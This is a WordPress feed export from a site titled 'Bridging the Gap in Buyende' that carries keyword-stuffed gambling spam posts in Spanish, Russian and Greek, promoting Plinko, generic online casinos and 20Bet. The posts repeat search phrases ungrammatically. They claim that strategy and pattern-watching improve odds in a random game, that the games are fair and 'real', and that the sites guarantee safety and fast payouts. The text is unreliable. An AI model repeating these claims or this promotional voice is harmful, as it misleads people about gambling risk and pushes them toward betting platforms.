https://wordpress.org/?v=6.7.2 https://aimecu.org/wp-content/uploads/2020/08/aimecu-favicon-1.png Bridging the Gap in Buyende https://aimecu.org/ 32 32 Plinko Juego Online Gana con Cada Lanzamiento y Diviértete https://aimecu.org/plinko-juego-online-gana-con-cada-lanzamiento-y-diviertete/ Thu, 13 Feb 2025 23:49:42 +0000 https://aimecu.org/?p=22618

Содержимое

Plinko Juego Online Gana con Cada Lanzamiento y Diviértete

El Plinko juego se ha convertido en una de las opciones más populares en los casinos online, especialmente en Plinko España. Este juego, que combina simplicidad y emoción, permite a los jugadores disfrutar de una experiencia única mientras tienen la oportunidad de ganar plinko dinero real. Pero, ¿qué es Plinko exactamente? Se trata de un juego de azar en el que una bola se deja caer desde la parte superior de un tablero lleno de obstáculos, y su trayectoria determina el premio que recibes.

Muchos se preguntan si Plinko es real o simplemente un juego de suerte. La verdad es que, aunque el azar juega un papel importante, las plinko opiniones de los jugadores destacan que con estrategia y paciencia es posible aumentar las posibilidades de ganar. Además, en los plinko casino, puedes encontrar versiones que ofrecen la posibilidad de ganar plinko dinero real opiniones, lo que añade un extra de emoción a cada lanzamiento.

Si estás buscando una forma divertida y emocionante de pasar el tiempo mientras tienes la oportunidad de ganar premios, el plinko game es una excelente opción. Ya sea que juegues por diversión o con la esperanza de ganar plinko dinero real, este juego te mantendrá en vilo con cada lanzamiento. ¡Descubre por qué tantos jugadores en Plinko España están enamorados de este clásico moderno!

Plinko Juego Online: Estrategias para Ganar

El Plinko game es uno de los juegos más populares en los casinos online, especialmente en Plinko España. Si te preguntas qué es Plinko, se trata de un juego de azar donde lanzas una bola desde la parte superior y esta cae sobre una serie de obstáculos, terminando en un casillero con un premio. Pero, ¿cómo aumentar tus posibilidades de ganar?

Consejos para Maximizar tus Ganancias

Una de las estrategias más comentadas en las plinko opiniones es ajustar el nivel de riesgo. En muchos plinko casino, puedes elegir entre alto, medio o bajo riesgo. Si buscas plinko dinero real, es recomendable empezar con un riesgo bajo para familiarizarte con el juego.

Otra táctica es analizar las plinko dinero real opiniones de otros jugadores. Muchos comparten sus experiencias y estrategias, lo que puede ayudarte a tomar decisiones más informadas. Además, algunos sugieren variar el tamaño de las apuestas para equilibrar pérdidas y ganancias.

¿Es Real el Plinko Online?

Una pregunta común es si plinko es real o simplemente un juego de suerte. La verdad es que, aunque el azar juega un papel importante, aplicar estrategias puede mejorar tus resultados. Utiliza las opiniones plinko para aprender de otros y adapta tu enfoque según tu estilo de juego.

En resumen, el Plinko game combina suerte y táctica. Con un enfoque equilibrado y aprovechando las experiencias de otros, puedes disfrutar al máximo y, quizás, llevarte premios interesantes.

Domina las técnicas clave para triunfar en Plinko

El plinko game es un juego de azar que combina estrategia y suerte. Para maximizar tus posibilidades de ganar, es esencial conocer algunas técnicas clave. A continuación, te presentamos consejos prácticos basados en opiniones plinko de jugadores expertos.

Técnica
Descripción

Gestión de apuestas En el plinko casino, es crucial controlar tus apuestas. Empieza con montos pequeños y aumenta gradualmente según tus resultados. Elección de niveles Elige el nivel de dificultad adecuado. En plinko dinero real, los niveles más altos ofrecen mayores recompensas, pero también mayor riesgo. Análisis de patrones Observa los patrones de caída de las bolas. Aunque el que es plinko se basa en la suerte, identificar tendencias puede ayudarte a tomar decisiones más informadas.

Según plinko opiniones, muchos jugadores en plinko españa han logrado éxito al combinar estas técnicas con disciplina. Además, las plinko dinero real opiniones destacan la importancia de jugar en plataformas confiables para garantizar la seguridad de tus ganancias.

Recuerda que, aunque el plinko game es divertido, siempre debes apostar de manera responsable. ¡Practica estas técnicas y aumenta tus posibilidades de triunfar!

Historia y Orígenes del Plinko

El plinko es un juego que ha cautivado a jugadores de todo el mundo, pero ¿sabías que sus orígenes se remontan a los programas de televisión? Este icónico juego, conocido por su tablero lleno de clavos y una bola que cae de manera impredecible, se popularizó en shows como “The Price is Right”. Con el tiempo, el plinko game llegó a los casinos online, incluyendo opciones como plinko España, donde los jugadores pueden disfrutar de esta emocionante experiencia.

Hoy en día, el plinko casino ha ganado popularidad gracias a su simplicidad y la posibilidad de ganar plinko dinero real. Muchos se preguntan: ¿qué es plinko? Básicamente, es un juego de azar donde la bola puede caer en diferentes casillas con multiplicadores, lo que lo convierte en una opción atractiva para quienes buscan diversión y recompensas.

En cuanto a las plinko opiniones, los jugadores destacan su dinamismo y la emoción de cada lanzamiento. Además, plataformas que ofrecen plinko dinero real opiniones confirman que es un juego justo y entretenido. Si te preguntas si plinko es real, la respuesta es sí: con estrategia y un poco de suerte, puedes obtener ganancias significativas.

El plinko ha evolucionado desde sus humildes comienzos en la televisión hasta convertirse en un fenómeno global en el mundo del entretenimiento online. ¡Descubre por qué este juego sigue siendo uno de los favoritos!

Descubre cómo surgió este juego clásico

El plinko game es un juego que ha cautivado a millones de personas en todo el mundo. Su origen se remonta a los populares programas de televisión de concursos en los años 70 y 80, donde los participantes lanzaban discos por un tablero lleno de obstáculos para ganar premios. Con el tiempo, este concepto se adaptó al mundo digital, permitiendo a los jugadores disfrutar del plinko desde la comodidad de sus hogares.

¿Qué es plinko y por qué es tan popular?

El plinko es un juego de azar que combina emoción y estrategia. Consiste en lanzar una bola o disco desde la parte superior de un tablero con clavos, observando cómo cae y rebota hasta llegar a la base, donde se asignan diferentes premios. En plataformas como plinko España, los jugadores pueden disfrutar de esta experiencia con la posibilidad de ganar plinko dinero real, lo que ha aumentado su popularidad.

Opiniones sobre el plinko: ¿Es real?

Muchos se preguntan si el plinko dinero real es una opción confiable. Las opiniones plinko suelen destacar la transparencia y la emoción que ofrece este juego. En foros y reseñas, los usuarios comparten sus experiencias, afirmando que el plinko es real y que, con un poco de suerte, es posible obtener recompensas significativas. Sin duda, el plinko opiniones reflejan un juego que sigue conquistando a nuevos jugadores.

Beneficios de Jugar Plinko en Línea

El plinko game se ha convertido en una de las opciones más populares en los casinos en línea, especialmente en plinko España. Este juego combina diversión y emoción con la posibilidad de ganar plinko dinero real, lo que lo hace atractivo para todo tipo de jugadores.

Diversión y Simplicidad

Una de las principales ventajas de jugar que es plinko es su simplicidad. No se necesitan habilidades especiales para disfrutar de este juego, lo que lo hace accesible tanto para principiantes como para expertos. Además, las plinko opiniones destacan lo entretenido que resulta ver cómo la bola cae por el tablero, creando momentos de gran expectación.

Oportunidad de Ganar Dinero Real

Muchos jugadores se preguntan si plinko es real y si realmente se puede ganar dinero. La respuesta es sí. En plataformas de plinko casino, tienes la oportunidad de obtener plinko dinero real opiniones que respaldan esta afirmación. Con cada lanzamiento, existe la posibilidad de multiplicar tus ganancias, lo que añade un componente emocionante al juego.

En resumen, jugar plinko game en línea no solo es divertido, sino que también ofrece la posibilidad de ganar premios reales. Las opiniones plinko confirman que es una experiencia única que combina suerte y entretenimiento en un solo lugar.

Ventajas de disfrutar desde tu hogar

Jugar Plinko desde la comodidad de tu hogar ofrece múltiples beneficios. Este popular juego, conocido como Plinko game, combina diversión y la posibilidad de ganar plinko dinero real sin necesidad de salir de casa. Aquí te contamos por qué es una excelente opción:

  • Accesibilidad: Con plinko casino en línea, puedes disfrutar del juego en cualquier momento y lugar. Solo necesitas un dispositivo con conexión a internet.
  • Seguridad: Muchos jugadores confirman en sus plinko opiniones que los casinos en línea son seguros y confiables para apostar plinko dinero real.
  • Variedad de opciones: En plinko españa, encontrarás diferentes versiones del juego, adaptadas a tus preferencias y nivel de experiencia.
  • Comodidad: No hay que desplazarse ni hacer colas. Desde tu sofá, puedes disfrutar de plinko es real y emocionarte con cada lanzamiento.

Además, según las opiniones plinko, muchos jugadores destacan la facilidad para aprender y ganar en este juego. Si buscas una experiencia entretenida y con posibilidades de premios, plinko dinero real opiniones confirman que es una excelente opción para disfrutar desde casa.

  • Regístrate en un plinko casino de confianza.
  • Explora las diferentes versiones de plinko game disponibles.
  • Comienza a jugar y descubre por qué plinko es real y tan popular.
  • Plinko: Cómo Funciona la Probabilidad

    El plinko es un juego de azar que combina diversión y emoción, pero ¿cómo funciona realmente la probabilidad en este juego? Para entenderlo, es importante saber qué es plinko. Se trata de un tablero con clavijas donde una bola se deja caer desde la parte superior, rebotando aleatoriamente hasta llegar a la base, donde hay diferentes premios o multiplicadores.

    Factores que Influyen en la Probabilidad

    • Diseño del Tablero: La disposición de las clavijas y los espacios entre ellas determina los posibles caminos que puede tomar la bola.
    • Posición de Lanzamiento: El punto exacto desde donde se suelta la bola puede afectar su trayectoria final.
    • Fuerza del Lanzamiento: Aunque en el plinko game online esto no aplica, en versiones físicas puede influir.

    ¿Es el Plinko un Juego Justo?

    Muchos se preguntan si el plinko casino es justo o si hay trucos. Según las opiniones plinko, la mayoría de los juegos online utilizan generadores de números aleatorios (RNG) para garantizar resultados impredecibles. Sin embargo, las plinko dinero real opiniones sugieren que, aunque es un juego de suerte, entender la probabilidad puede ayudar a tomar decisiones más informadas.

  • Analiza los multiplicadores disponibles en la base del tablero.
  • Observa cómo se distribuyen los premios en el plinko game.
  • Juega con moderación, especialmente si buscas ganar plinko dinero real.
  • En resumen, el plinko es real en cuanto a su mecánica y probabilidad, pero siempre es importante recordar que es un juego de azar. Las plinko opiniones coinciden en que, aunque no hay una estrategia infalible, entender cómo funciona la probabilidad puede hacer que la experiencia sea más divertida y emocionante.

    ]]>
    Играйте в казино онлайн и выигрывайте крупные суммы с удобством и азартом прямо из дома https://aimecu.org/igrayte-v-kazino-onlayn-i-vyigryvayte-krupnye-summy-s-udobstvom-i-azartom-pryamo-iz-doma/ Thu, 13 Feb 2025 23:48:58 +0000 https://aimecu.org/?p=22614

    Содержимое

    Играйте в казино онлайн и выигрывайте крупные суммы с удобством и азартом прямо из дома

    Ищете лучшее онлайн казино, где можно насладиться самыми популярными игровыми автоматами и слотами? Добро пожаловать в мир casino online, где каждый найдет игры на любой вкус!

    В нашем казино топ вас ждут захватывающие игры на деньги, щедрые бонусы и непередаваемая атмосфера азарта. Попробуйте online casino, которое станет вашим надежным партнером в мире развлечений!

    Преимущества онлайн-казино

    Онлайн казино предоставляет уникальные возможности для любителей азартных игр. В отличие от традиционных заведений, casino online доступно в любое время и из любой точки мира. Это позволяет наслаждаться игровыми автоматами и слотами без необходимости куда-либо ехать.

    Преимущество
    Описание

    Доступность Казино топ всегда под рукой благодаря мобильным устройствам и компьютерам. Разнообразие игр Online casino предлагает сотни игр на деньги, включая классические и современные слоты. Бонусы и акции Топ казино радует игроков щедрыми бонусами, фриспинами и программами лояльности. Безопасность Казино online использует современные технологии шифрования для защиты данных игроков.

    Игровые автоматы в онлайн казино отличаются высоким качеством графики и звука, что делает процесс игры еще более увлекательным. Выбирайте топ казино и наслаждайтесь азартом в комфортной обстановке!

    Как начать играть в онлайн-казино

    Чтобы начать играть в онлайн казино, сначала выберите надежную платформу из списка топ казино. После регистрации на сайте casino online пополните счет удобным способом. Обратите внимание на раздел игровые автоматы, где представлены популярные слоты и другие азартные игры.

    Изучите правила и выберите подходящие игры на деньги. Многие online casino предлагают демо-режим для новичков, чтобы вы могли попрактиковаться без риска. Не забудьте проверить бонусы и акции, которые часто доступны в казино топ.

    После подготовки просто запустите выбранный автомат или игру и наслаждайтесь процессом. Удачи в casino!

    Популярные игры в онлайн-казино

    Онлайн казино предлагают широкий выбор игр, которые подойдут как новичкам, так и опытным игрокам. Среди самых востребованных развлечений можно выделить:

    • Игровые автоматы – это классика casino online. Слоты с яркой графикой и увлекательными бонусами привлекают миллионы игроков.
    • Рулетка – одна из самых популярных игр на деньги, которая сочетает в себе простоту и азарт.
    • Блэкджек – стратегическая карточная игра, где важно не только везение, но и умение принимать решения.
    • Покер – игра, которая требует мастерства и тактики. В казино топ часто проводятся турниры с крупными призами.

    Казино онлайн также предлагает современные слоты с уникальными тематиками и механиками. Выбирайте casino online, чтобы насладиться лучшими играми и возможностью выиграть реальные деньги!

    Безопасность и надежность онлайн-казино

    Выбирая топ казино, важно убедиться в его безопасности и надежности. Наше online casino использует современные технологии шифрования данных, чтобы защитить вашу личную информацию и финансовые операции. Мы гарантируем честность игровых автоматов, так как все игры проходят регулярную проверку независимыми аудиторами.

    Казино онлайн предлагает игры на деньги с прозрачными условиями и быстрыми выплатами. Мы сотрудничаем только с лицензированными провайдерами, что делает casino online надежным выбором для всех игроков. Наше казино топ обеспечивает комфортную и безопасную игровую среду, где вы можете наслаждаться азартом без рисков.

    Топ казино также предоставляет возможность играть в демо-режиме, чтобы вы могли оценить качество игровых автоматов перед началом игры на реальные деньги. Доверяйте только проверенным casino, чтобы ваш опыт был максимально приятным и безопасным.

    Бонусы и акции для новых игроков

    Добро пожаловать в casino online, где каждый новый игрок получает эксклюзивные бонусы! В топ казино вас ждут щедрые приветственные пакеты, включая бесплатные спины на популярные игровые автоматы и удвоение первого депозита.

    В нашем oнлайн казино регулярно проводятся акции, которые позволяют увеличить шансы на победу. Участвуйте в турнирах, получайте кэшбэк и наслаждайтесь игрой в лучшие слоты от ведущих провайдеров.

    Станьте частью казино топ и откройте для себя мир азарта и выгодных предложений. В online casino каждый игрок ценится, а новые участники всегда получают особое внимание и поддержку.

    Мобильная версия онлайн-казино

    Играйте в топ казино прямо с вашего смартфона! Мобильная версия casino online позволяет наслаждаться слотами и игровыми автоматами в любое время и в любом месте. Топ казино адаптировано для всех устройств, обеспечивая удобный доступ к играм на деньги.

    Онлайн казино предлагает широкий выбор развлечений, включая популярные слоты и другие азартные игры. Скачайте приложение или играйте через браузер – casino всегда с вами. Не упустите шанс испытать удачу в лучших online casino!

    Советы для успешной игры в онлайн-казино

    Чтобы повысить свои шансы на победу в онлайн казино, следуйте этим рекомендациям:

    • Выбирайте проверенные казино топ с лицензией и положительными отзывами.
    • Начинайте с бесплатных версий игровых автоматов, чтобы изучить правила и стратегии.
    • Устанавливайте лимиты на депозиты и время игры, чтобы избежать перерасхода.
  • Изучите правила и особенности слотов перед началом игры.
  • Используйте бонусы и акции, которые предлагают топ казино.
  • Не играйте на эмоциях: сохраняйте хладнокровие и контролируйте бюджет.
  • Помните, что игры на онлайн казино кз деньги в online casino требуют не только удачи, но и дисциплины. Удачи за casino столами!

    Почему выбирают онлайн-казино

    Онлайн казино предлагают уникальную возможность наслаждаться азартными играми в любое время и в любом месте. Слоты, игры на деньги и другие развлечения доступны в топ казино, которые гарантируют честность и безопасность.

    Казино онлайн привлекает игроков разнообразием игр и удобством. Вы можете выбрать casino online с лучшими условиями и бонусами, что делает процесс игры еще более увлекательным.

    Топ казино предлагают современные технологии и качественную графику, что создает атмосферу настоящего казино. Online casino – это возможность испытать удачу и получить незабываемые эмоции.

    Казино топ уровня обеспечивают быстрые выплаты и круглосуточную поддержку, что делает их выбором миллионов игроков. Опытные пользователи ценят casino за надежность и широкий выбор развлечений.

    ]]>
    20Bet στην Ελλάδα Ολοκληρωμένος Οδηγός για να Ξεκινήσετε να Παίζετε με Ασφάλεια και Ευκολία https://aimecu.org/20bet-sten-ellada-olokleromenos-odegos-gia-na-ksekinesete-na-paizete-me-asphaleia-kai-eukolia/ Thu, 13 Feb 2025 17:11:56 +0000 https://aimecu.org/?p=22604

    Содержимое

    20Bet στην Ελλάδα Ολοκληρωμένος Οδηγός για να Ξεκινήσετε να Παίζετε με Ασφάλεια και Ευκολία

    Αναζητάτε την καλύτερη εμπειρία στο 20bet bet; Εδώ είμαστε! Με το 20 bet , έχετε πρόσβαση σε έναν κόσμο ψυχαγωγίας και ευκαιριών. Το 20bet greece προσφέρει ασύγκριτες επιλογές στο 20βετ και στο 20bet casino.

    Επισκεφτείτε το 20bet.gr ή κατεβάστε την 20bet app για να απολαύσετε την άνεση του 20 bet casino από οπουδήποτε. Το 20bet είναι η καλύτερη επιλογή για όσους αναζητούν ποιότητα και ασφάλεια στο bet 20.

    Τι είναι το 20Bet και γιατί να το επιλέξετε

    Το 20Bet είναι ένα από τα πιο δημοφιλή online καζίνο και πλατφόρμα στοιχημάτων στην Ελλάδα. Με την εφαρμογή 20bet app και την ιστοσελίδα 20bet.gr, προσφέρει μια ολοκληρωμένη εμπειρία για τους λάτρεις των τυχερών παιχνιδιών και των στοιχημάτων.

    • Πλούσια ποικιλία παιχνιδιών: Από 20bet casino μέχρι ζωντανά παιχνίδια, υπάρχει κάτι για κάθε γούστο.
    • Εύκολη πρόσβαση: Χρησιμοποιήστε το 20bet greece για γρήγορη και ασφαλή σύνδεση.
    • Ελκυστικές προσφορές: Το 20 bet casino προσφέρει μπόνους και προσφορές για νέους και υπάρχοντες παίκτες.
    • Αξιόπιστη πλατφόρμα: Το 20βετ διασφαλίζει ασφάλεια και δίκαιους κανόνες.

    Επιλέξτε το 20bet bet για μια συναρπαστική και αξιόπιστη εμπειρία στοιχημάτων και παιχνιδιών. Με το 20 bet, η διασκέδαση είναι πάντα στο επίκεντρο!

    Εγγραφή στο 20Bet: βήμα προς βήμα

    Η διαδικασία εγγραφής στο 20bet casino είναι γρήγορη και απλή. Ακολουθήστε τα παρακάτω βήματα για να δημιουργήσετε τον λογαριασμό σας στο 20bet.gr και να ξεκινήσετε να παίζετε.

  • Επισκεφτείτε την επίσημη ιστοσελίδα του 20bet greece ή χρησιμοποιήστε την εφαρμογή 20bet.
  • Κάντε κλικ στο κουμπί “Εγγραφή” για να ανοίξετε τη φόρμα εγγραφής.
  • Συμπληρώστε τα απαραίτητα στοιχεία, όπως email, κωδικό πρόσβασης και νομισματική μονάδα.
  • Επιβεβαιώστε την ηλικία σας και αποδεχτείτε τους όρους και τις προϋποθέσεις του 20 bet casino.
  • Κάντε κλικ στο “Εγγραφή” για να ολοκληρώσετε τη διαδικασία.
  • Μετά την εγγραφή, μπορείτε να κάνετε 20bet login και να εξερευνήσετε τις πολλές επιλογές στο 20bet bet. Ξεκινήστε τώρα και απολαύστε τη διασκέδαση στο 20βετ!

    Προσφορές και μπόνους για νέους παίκτες

    Η 20bet προσφέρει μια σειρά από ελκυστικές προσφορές και μπόνους για νέους παίκτες, ώστε να ξεκινήσουν με τον καλύτερο τρόπο την εμπειρία τους στο 20bet casino. Ακολουθούν οι κύριες προτάσεις:

    Προσφορά
    Περιγραφή

    Ευκαιρία για πρώτη κατάθεση Με την πρώτη σας κατάθεση στο 20 bet casino, μπορείτε να λάβετε έως και 100% bonus. Δωρεάν spins Νέοι παίκτες λαμβάνουν δωρεάν spins για επιλεγμένα παιχνίδια στο 20bet.gr. Cashback Αποκτήστε cashback έως και 10% των απωλειών σας κάθε εβδομάδα στο 20bet app.

    Για να επωφεληθείτε από αυτές τις προσφορές, απλώς κάντε 20bet login και ολοκληρώστε την εγγραφή σας. Η 20βετ εξασφαλίζει ότι κάθε νέος παίκτης θα έχει μια ανταποδοτική και διασκεδαστική εμπειρία στο bet 20.

    Διαθέσιμα παιχνίδια και στοιχήματα

    Στο 20Bet στην Ελλάδα, θα βρείτε μια ευρεία γκάμα από παιχνίδια και στοιχήματα για κάθε γούστο. Το 20Bet Casino προσφέρει δημοφιλή παιχνίδια όπως σλάτς, ρουλέτα, μπλακτζακ και πόκερ, καθώς και ζωντανά καζίνο με πραγματικούς dealers. Επιπλέον, η εφαρμογή 20Bet App σας επιτρέπει να απολαμβάνετε αυτά τα παιχνίδια από οπουδήποτε.

    Για τους λάτρεις των αθλητικών στοιχημάτων, το 20Bet Greece παρέχει ευκαιρίες για στοιχήματα σε ποδοσφαιρικά ματς, μπάσκετ, τένις και πολλά άλλα αθλήματα. Με το 20Bet Login, μπορείτε εύκολα να ελέγξετε τις επιλογές σας και να τοποθετήσετε στοιχήματα σε πραγματικό χρόνο.

    Επιλέξτε το 20Bet Casino για μια ολοκληρωμένη εμπειρία τζόγου ή χρησιμοποιήστε το 20Bet App για να έχετε πρόσβαση σε όλα τα διαθέσιμα παιχνίδια και στοιχήματα. Η 20Bet στην Ελλάδα είναι η καλύτερη επιλογή για διασκέδαση και κέρδη!

    Μέθοδοι κατάθεσης και ανάληψης

    Στο 20bet casino, οι παίκτες έχουν πρόσβαση σε ποικίλες μεθόδους κατάθεσης και ανάληψης. Μπορείτε να χρησιμοποιήσετε πιστωτικές και χρεωστικές κάρτες, e-wallets όπως Skrill και Neteller, καθώς και κρυπτονομίσματα. Η διαδικασία είναι γρήγορη και ασφαλής, ειδικά μέσω της 20bet app.

    Για να πραγματοποιήσετε κατάθεση, απλώς συνδεθείτε στο 20bet login και επιλέξτε την προτιμώμενη μέθοδο. Το 20bet.gr υποστηρίζει ελάχιστα ποσά για αρχάριους, ενώ οι αναλήψεις γίνονται με την ίδια ευκολία. Οι χρόνοι επεξεργασίας εξαρτώνται από την επιλογή σας, αλλά το 20 bet casino εγγυάται γρήγορες συναλλαγές.

    Εάν έχετε απορίες, η ομάδα υποστήριξης του 20bet greece είναι διαθέσιμη 24/7. Επιλέξτε το 20 bet για μια αξιόπιστη εμπειρία τζόγου με ευέλικτες επιλογές πληρωμών.

    Υποστήριξη πελατών και ασφάλεια

    Η 20Bet διασφαλίζει ότι οι χρήστες της έχουν πρόσβαση σε αξιόπιστη υποστήριξη και προστασία δεδομένων. Η πλατφόρμα 20bet.gr προσφέρει εξαιρετική εξυπηρέτηση πελατών, διαθέσιμη 24/7 μέσω live chat και email.

    Για να συνδεθείτε στο 20bet login, χρησιμοποιείτε κωδικούς πρόσβασης και τεχνολογίες κρυπτογράφησης για τη διασφάλιση της ασφάλειάς σας. Η 20bet app είναι εξίσου ασφαλής, επιτρέποντάς σας να παίζετε και να στοιχηματίζετε με εμπιστοσύνη.

    Η 20bet casino εφαρμόζει αυστηρά πρωτόκολλα ασφαλείας για την προστασία των συναλλαγών και των προσωπικών σας δεδομένων. Επιπλέον, η 20bet bet διαθέτει εργαλεία για τον έλεγχο του παιχνιδιού, βοηθώντας τους παίκτες να διαχειρίζονται τις δραστηριότητές τους.

    Στην 20bet Greece, η ασφάλεια και η εμπειρία του χρήστη είναι προτεραιότητα. Επιλέξτε 20 bet για μια αξιόπιστη και ασφαλή εμπειρία παιχνιδιού.

    Συμβουλές για επιτυχημένο παιχνίδι

    Για να μεγιστοποιήσετε τις πιθανότητές σας στο 20Bet, είναι σημαντικό να ακολουθήσετε μερικές βασικές στρατηγικές. Αρχικά, εξοικειωθείτε με τις κανόνες των παιχνιδιών στο 20Bet Casino, όπως τα στοιχήματα και τις πιθανότητες.

    Χρησιμοποιήστε την 20Bet app για να έχετε πρόσβαση στα παιχνίδια σας ανά πάσα στιγμή και να παρακολουθείτε τις τελευταίες προσφορές. Επίσης, επισκεφτείτε το 20bet.gr για ενημερωμένες πληροφορίες και εκδηλώσεις.

    Διαχειριστείτε προσεκτικά τον προϋπολογισμό σας και ορίστε όρια για να αποφύγετε υπερβολικές απώλειες. Το 20Bet Greece προσφέρει ποικιλία παιχνιδιών, οπότε επιλέξτε αυτά που ταιριάζουν καλύτερα με τις δεξιότητές σας.

    Τέλος, μην ξεχνάτε να επωφεληθείτε από τις προσφορές και τα μπόνους που προσφέρει το 20Bet Casino, όπως τα δωρεάν περιστροφές ή τα επιπλέον χρήματα για στοιχήματα.

    ]]>
    20Bet στην Ελλάδα Απλή Εγγραφή και Γρήγορη Είσοδος για Μοναδικές Εμπειρίες Στοιχημάτων https://aimecu.org/20bet-sten-ellada-aple-eggraphe-kai-gregore-eisodos-gia-monadikes-empeiries-stoikhematon/ Thu, 13 Feb 2025 17:06:34 +0000 https://aimecu.org/?p=22600

    Содержимое

    20Bet στην Ελλάδα Απλή Εγγραφή και Γρήγορη Είσοδος για Μοναδικές Εμπειρίες Στοιχημάτων

    Αναζητάτε την καλύτερη εμπειρία στο 20bet; Είστε στη σωστή θέση! Με το 20bet bet, μπορείτε να απολαύσετε απίθανα παιχνίδια, live στοιχήματα και πολλά άλλα. Εγγραφείτε τώρα και κάντε 20bet login για να ξεκινήσετε τη διασκέδαση!

    Το 20bet casino προσφέρει μια τεράστια ποικιλία παιχνιδιών, από κουλοχέρηδες μέχρι τραπέζια. Κατεβάστε το 20bet app για να έχετε πρόσβαση από παντού και να μην χάνετε ποτέ τη δράση!

    Στο 20bet greece, θα βρείτε τις καλύτερες προσφορές και μπόνους. Είτε είστε φαν του 20 bet, είτε του bet 20, εδώ θα βρείτε ό,τι χρειάζεστε για να κερδίσετε!

    Μην περιμένετε άλλο! Εγγραφείτε στο 20 bet casino και ζήστε τη διασκέδαση που σας αξίζει με το 20bet!

    20Bet στην Ελλάδα: Το νέο επίκεντρο του online στοιχήματος

    Η 20Bet στην Ελλάδα γίνεται ο προτιμώμενος προορισμός για τους λάτρεις του στοιχήματος και του καζίνο. Με την ευρεία γκάμα παιχνιδιών και αθλητικών γεγονότων, η 20bet.gr προσφέρει μια μοναδική εμπειρία για κάθε χρήστη.

    Η εγγραφή στην 20Bet είναι γρήγορη και απλή, ενώ η είσοδος μέσω του 20bet login σας δίνει άμεση πρόσβαση σε όλες τις δυνατότητες. Από το 20bet casino έως τις αθλητικές προβλέψεις, η 20bet greece καλύπτει κάθε ανάγκη.

    Η 20βετ διαθέτει προνομιακές προσφορές και μπόνους, καθιστώντας την 20bet bet την ιδανική επιλογή για νέους και έμπειρους παίκτες. Εξερευνήστε το 20 bet casino και απολαύστε την ποιότητα και την ασφάλεια που προσφέρει η 20 bet.

    Με την 20bet.gr, το online στοίχημα στην Ελλάδα ανεβαίνει σε ένα νέο επίπεδο. Ανακαλύψτε το bet 20 και ζήστε την απόλυτη ψυχαγωγία!

    Εγγραφή στο 20Bet: Απλά βήματα για γρήγορη πρόσβαση

    Η εγγραφή στο 20bet.gr είναι γρήγορη και εύκολη. Ακολουθήστε τα παρακάτω βήματα για να αποκτήσετε πρόσβαση στο 20 bet casino και να ξεκινήσετε τη διασκέδασή σας.

    Επισκεφτείτε την ιστοσελίδα 20bet Greece και κάντε κλικ στο κουμπί “Εγγραφή”. Συμπληρώστε τα απαραίτητα στοιχεία, όπως το email και τον κωδικό πρόσβασης. Μετά την ολοκλήρωση, θα μπορείτε να κάνετε 20bet login και να απολαύσετε τις υπηρεσίες του 20bet casino.

    Για ακόμα πιο εύκολη πρόσβαση, κατεβάστε το 20bet app και αποκτήστε πρόσβαση στο 20βετ από οπουδήποτε. Το 20bet bet προσφέρει μια ευρεία γκάμα παιχνιδιών και στοιχημάτων για κάθε γούστο.

    Μην χάσετε την ευκαιρία να γίνετε μέλος του 20 bet και να αποκτήσετε πρόσβαση σε μοναδικές προσφορές και ευκαιρίες. Εγγραφείτε σήμερα και ξεκινήστε τη διασκέδασή σας!

    Είσοδος στο 20Bet: Ασφάλεια και ευκολία σε κάθε σύνδεση

    Η είσοδος στο 20bet είναι γρήγορη και ασφαλής, εξασφαλίζοντας μια ομαλή εμπειρία για κάθε χρήστη. Με το 20bet login, μπορείτε να αποκτήσετε πρόσβαση σε όλες τις υπηρεσίες της πλατφόρμας, είτε μέσω υπολογιστή είτε μέσω του 20bet app.

    Το 20bet greece προσφέρει προηγμένα συστήματα ασφαλείας για την προστασία των δεδομένων σας. Η σύνδεση στο 20bet.gr είναι απλή και διαθέτει επιλογές ανάκτησης κωδικού σε περίπτωση που τον ξεχάσετε.

    Επιπλέον, το 20 bet casino διαθέτει μια ευρύχωρη γκάμα παιχνιδιών και στοιχημάτων. Με το 20bet bet, μπορείτε να απολαύσετε αγώνες και γεγονότα από όλο τον κόσμο. Η πλατφόρμα 20βετ είναι προσβάσιμη από οποιαδήποτε συσκευή, εξασφαλίζοντας ευκολία και άνεση.

    Αν είστε φαν των στοιχημάτων, το bet 20 είναι η ιδανική επιλογή για εσάς. Εγγραφείτε σήμερα στο 20 bet και ζήστε μια μοναδική εμπειρία στοιχημάτων και καζίνο!

    Πλεονεκτήματα του 20Bet: Γιατί να επιλέξετε εμάς;

    Το 20bet casino προσφέρει μια μοναδική εμπειρία στοιχημάτων και τυχερών παιχνιδιών. Εδώ είναι μερικοί λόγοι για τους οποίους θα μας επιλέξετε:

    • Ευρεία γκάμα παιχνιδιών: Από 20bet bet μέχρι live casino, υπάρχει κάτι για όλους.
    • Απλή 20bet login και εγγραφή: Μπείτε γρήγορα και ξεκινήστε να παίζετε.
    • Εφαρμογή 20bet app για εύκολη πρόσβαση από κινητά και tablet.
    • Εξαιρετικές προσφορές και μπόνους για νέους και υπάρχοντες παίκτες.

    Στο 20bet.gr, η ασφάλεια και η ποιότητα είναι προτεραιότητα. Επιλέξτε το 20bet greece για μια αξιόπιστη και διασκεδαστική εμπειρία!

    Προσφορές και μπόνους: Μεγιστοποιήστε τα κέρδη σας

    Στο 20Bet Greece, οι παίκτες έχουν πρόσβαση σε μια πληθώρα προσφορών και μπόνους που ενισχύουν την εμπειρία τους. Είτε χρησιμοποιείτε το 20Bet app είτε επισκέπτεστε την ιστοσελίδα 20bet.gr, θα βρείτε ευκαιρίες για να αυξήσετε τα κέρδη σας.

    Προσφορά
    Περιγραφή

    Ευκαιρία για νέους παίκτες Με την εγγραφή σας στο 20Bet Casino, λαμβάνετε ένα ειδικό μπόνους για την πρώτη κατάθεση. Εβδομαδιαίες προσφορές Στο 20Bet Greece, μπορείτε να επωφεληθείτε από εβδομαδιαίες προσφορές που ενισχύουν τα στοιχήματά σας. Προγράμματα ανταμοιβών Με το 20Bet login, συμμετέχετε σε προγράμματα ανταμοιβών που προσφέρουν εξαιρετικά δώρα.

    Επιλέξτε το 20Bet bet για να απολαύσετε τις καλύτερες προσφορές και να μεγιστοποιήσετε τα κέρδη σας. Η 20βετ προσφέρει ασφάλεια και ποικιλία για όλους τους παίκτες στην Ελλάδα.

    20Bet στην Ελλάδα: Η καλύτερη εμπειρία στοιχήματος

    Η 20Bet στην Ελλάδα προσφέρει μια αξεπέραστη εμπειρία στοιχήματος για όλους τους λάτρεις των αθλητικών στοιχημάτων και των καζίνο. Με την εύκολη 20bet εγγραφή και την γρήγορη 20bet login, μπορείτε να απολαύσετε όλα τα πλεονεκτήματα της πλατφόρμας.

